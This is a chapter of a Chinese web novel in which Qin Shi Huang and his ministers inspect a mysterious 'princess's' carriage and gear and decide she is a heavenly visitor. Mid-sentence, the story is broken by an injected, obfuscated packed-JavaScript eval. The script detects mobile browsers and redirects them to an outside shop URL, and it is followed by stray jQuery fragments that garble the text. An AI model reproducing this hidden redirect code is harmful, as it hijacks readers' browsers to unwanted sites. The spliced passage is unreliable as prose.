6. 用时日,事鬼神

作品:《我,始皇公主,打钱

    长乐宫里,铺了八层床铺的娄繁睡得并不是很安稳。


    也不是认床,只是十八年来第一次独自离开家在外面睡,心里总是有些难以言喻的不安。


    好在吃好睡好的本能压过了这种不安,娄繁还是这么睡着了,而且一气睡到了日上三竿。


    在她沉睡之时,秦始皇召集了左右丞相、三公九卿、以及诸位公子,一起在章台宫主宫议事。


    始皇帝桌案上还放着才运来的各地公文,看样子就在他们入宫前一刻都还在奋笔疾书,批复公文。


    现在才上午八点,诸位大臣都是以最快速度入宫了,而在此之前陛下居然已经起床办公……要么人家是皇帝呢,主人翁精神比其他大臣可要强得多。


    另一个卷王李斯也一大早就起来跟陛下汇报他的破译工作。


    由于这个工作比较机密,他在其他人来之前已经和陛下说完了。


    那行字破译出来的意思是:【亲爱的志愿者您好,我是女娲。】


    就这么简单。


    但透露出来的意思却不那么简单。


    李斯早已就这句话跟陛下解读了无数版本,主要聚焦点就在志愿者三个字上。


    “‘志’与‘愿’本质上是同义词,志愿者,大约就是出于某种意愿行动的人。”


    李斯的话与其说是向陛下汇报工作,不如说已经陷入自己的思考更合适一点。


    “结合‘亲爱的’、‘您好’、‘我是’这种用法来看,这种文字书写并不要求精炼,会将我们习惯在文言中省略的虚词一并落于纸上。”


    “而且他们惯常会把词义相近的两个字组在一起。”


    “所以陛下是‘父皇陛下’,娄繁公主是‘志愿者’!”


    李斯皱眉苦思:“只是不知公主是为了什么志愿而来呢?”


    难不成下凡真就为了把陛下引渡成仙?


    君臣想法十分默契,这会秦始皇本人也觉得娄繁是为了他来的。


    一开始看娄繁带了那么大个灵芝,他还觉得对方有可能只是路过,随便为了庆贺大典随个礼。


    后来娄繁同意在宫中住下,他就意识到事情可能没有那么简单。


    不过他也没觉得娄繁的到来一定是好事,说不准娄繁是想要提醒他什么事才来,或者之后有什么事情需要她做才逗留在这里……


    “不论她为什么而来,只要确定对方有所图,之后总能看出她的目的是什么。”


    始皇先确定了这点,然后才说:“不过她为什么一定要自称是寡人的孩子,难道有什么特殊的讲究么?”


    李斯冥思苦想无所得,只能暂时放弃:“可能确实与所谓‘志愿’有关系吧,说不定娄繁公主在人间行走只能假托陛下之名。”


    也就是要暂时承认这个女儿的身份了。


    秦始皇又问:“李卿觉得此事是否需要告知他人?”


    始皇问的自然不可能是认公主这事用不用宣告他人,而是“公主”来处非凡这事是否要告诉其他大臣。


    本心来说,李斯自然不想太多人知道这事。与陛下共同的秘密越多,自己的地位越稳固,李斯还瞄着两个丞相的位置呢,他还想更进一步!


    只是理智告诉他,这事起码蒙毅和赵高都知道不少,保密也就无从说起,于是顺着陛下的意思说:“公主的目的还不知为何,为了保险起见,确实应该让部分人知道底线,以免在公主面前露馅。”


    这件事就顺理成章地定下,秦始皇派人去请了左右丞相和三公九卿,顺便还有诸位公子。


    公子等人还是李斯想起来提醒的。毕竟是要给陛下填一个女儿,涉及到公子们的序列,该让他们知道知道轻重。


    这便有了这次规模不小的小朝会。


    众臣以最快的速度入宫,收拾仪表后才步入章台宫,互相谦让地按照次序依次落座。


    坐在最高处的自然是始皇陛下,低头就能看到几位重臣脸上稍显疑惑的表情。


    他招招手,让蒙毅和赵高一块把自己要展示的东西抬进来。


    带进来的是娄繁当日用过的仪仗队。


    负责为娄繁驾车的侍人已经白日消失,好在这些仪仗还在,能让其他人都窥探一下娄繁的不凡之处。


    “尔等上前瞧瞧,可能瞧出什么异常。”


    始皇并不急着进入正题,先用这些仪仗作为铺垫。


    他发话可以看,臣子们虽然有些疑惑这样做的用意,但还是上前挨个看过,心里不住琢磨陛下究竟想让他们从这仪仗中看出什么?


    唯一一个有幸收到邀请的博士仆射淳于越是齐人儒生,对周礼的研究比朝中其他人要深得多。


    他第一个发现异常,皱眉出声:“臣斗胆,这可是昨日娄繁公主所用仪仗?”


    赵高替陛下回应:“正是。”


    “臣有疑议,”淳于越起身行了个礼,“古之乘驾之礼,‘厌翟,后从王宾飨诸侯所乘’。”


    “若以周礼,公主该严格按照厌翟的规格出行。”


    所谓厌翟,上有车盖、帏裳,马要戴黑白熟皮面饰、佩白色流苏,侧面遮蔽的羽饰要用比雉尾羽次一等的。


    但娄繁使用的仪仗,马匹数量不对,车舆规格不对,其余装饰也比规定的要华贵奢侈……不伦不类,淳于越在心里嘀咕,公主这仪仗只怕只符合“妇女不立乘”这句礼了。


    ——好歹她是坐着的。


    对礼更熟稔的淳于越发言后,其余人也发表了自己的看法。


    主管皇室财钱和皇帝衣食住行的少府丞眼神犀利,一眼就抓到了重点,“公主仪仗所用的材料十分不同,多数是现在没有的,手感细腻,甚至摸不到线痕,不仅材料,连织法都十分新鲜!”


    这些都意味着钱啊!钱!


    少府丞眼睛都要变成铜币的形状了。


    蒙恬开年便要领兵征战匈奴,因此对马车格外敏锐,“陛下,这车舆造得好生精巧,不知怎么做的,人在上面能感受到震动明显会变小。”


    这点倒是适合为陛下改装。


    而且这马车的做法与现有的车舆也很不同,看起来十分牢固。


    马蹄、马鞍、马镫三件套被那些仪仗与的材料搞得花里胡哨,一时看不清楚,可一旦看出这些东西的作用是什么,蒙恬的眼神立刻亮了。


    这东西……好啊!好妙的心思!


    昔日赵武灵王曾有过胡服骑射的改革,效果十分显著,赵国可以说是秦国很久以来的心腹大患,几乎全民皆兵,难打得很。


    胡人善骑射,秦人却善步兵,二者打起来本来是有一定差距的。


    起码蒙恬知道自己要打匈奴后就在家就琢磨了很久,应该怎么打才能弥补二者之间的差距。


    现在好了,有了这种马鞍和马镫,至少能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722977|144898||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    打胡人一个措手不及。如能做好保密工作,在练出合格的骑兵之前,双方的战力就不至于一面倒向胡人那边。


    蒙恬眼睛那是一亮一亮又一亮,他把这事告诉始皇,果然后者也十分高兴,赞了一声:“好!”


    不管娄繁的到来是福是祸,起码现在,她给秦朝带来了好处已经很令人惊喜了!


    心里一高兴,秦始皇便没有再继续绕弯子,直接道:“想必尔等已经看出来了,娄繁所用仪仗并非人间现有的凡品。”


    章台宫坐拥天下之宝,现在这个年代能拥有的最好的东西都在宫里了,那么娄繁拿出来的那些不凡的宝物究竟什么来历呢……


    诸位大臣都不是蠢人,心中应该都有数了。


    娄繁是在大家众目睽睽之下进入咸阳,来到章台宫的。那扇巨大的灵芝不可能是假的,面前这些先进新鲜的技术也不可能是假的,仪仗材料用料非凡技巧非凡也无法作假。


    既然如此,答案便只剩一个——娄繁公主是天上来客。


    秦朝君臣都没有一个坚定的唯物主义者,相反,君王带头就是那个最迷信的,非常渴望能长乐无忧。大家都相信鬼神的存在,也就顺理成章接受了娄繁可能是鬼神的结论。


    还得感叹一下为何会有如此神迹此时降下呢?那必然是陛下之功连上天都要承认,陛下之德也是得到神仙认可的。


    最多疑惑一下公主为何要与陛下父女相称,但倘若连“鬼神”都要屈于陛下之尊,岂不更说明了陛下天命所归,应天承运?


    一时间,本就恭恭敬敬的大臣们头垂得更低了。


    秦始皇心中满意地点点头。别管娄繁究竟为什么而来,休想给他的统治带来任何波澜。


    此时此刻,远在长乐宫,完全不知道自己被当成□□工具的娄繁还在呼呼大睡。


    最后,秦始皇就此次朝会发表了最后结论:“尚不知娄繁因何降临人间,又因何自称寡人之女,但‘用时日,事鬼神’,既然对方已经出现,不妨便顺势而为。”


    人话就是,来都来了,既然不能反抗,那就把羊毛薅秃。


    平时只要做到“事鬼神”的态度就行。


    大臣们精准领会了陛下的言下之意,便鱼贯离开。


    章台宫只剩数量庞大的公子们了。


    几十个人,这会不管男女,大家伙都面面相觑,被动接受了自己将有一个“鬼神”身份的姊妹,并且不得表露出任何异常。


    五公主甘棠在心里叹口气,只感叹事情发展果然如此,她的序齿真的改了!


    而作为长公子的扶苏,这时候非常有担当地站出来回话:“必将以姊妹待之。”


    意思也很明白,放心吧父王,我们不会露馅的。


    始皇帝对这个儿子大面上还是满意的,也很满意对方的识趣,肯定道:“你也就在这些事上能让寡人放心。”


    表扬是不可能表扬的,必须时刻敲打敲打:你作为继承人还差得远呢,继续努力吧。


    扶苏对此只能苦笑应是。


    其余兄弟姐妹们都低头垂手,只敢在心中同情一下这个挨喷挨得最多的大哥,表面却连大喘气都不敢有。


    始皇对儿女也少有温存之言,一眼望过去看见没一个却吃少喝、穷得啷当也就罢了。


    “去吧,寡人还有政务要处理。”


    诸位公子垂头应是,退步离开。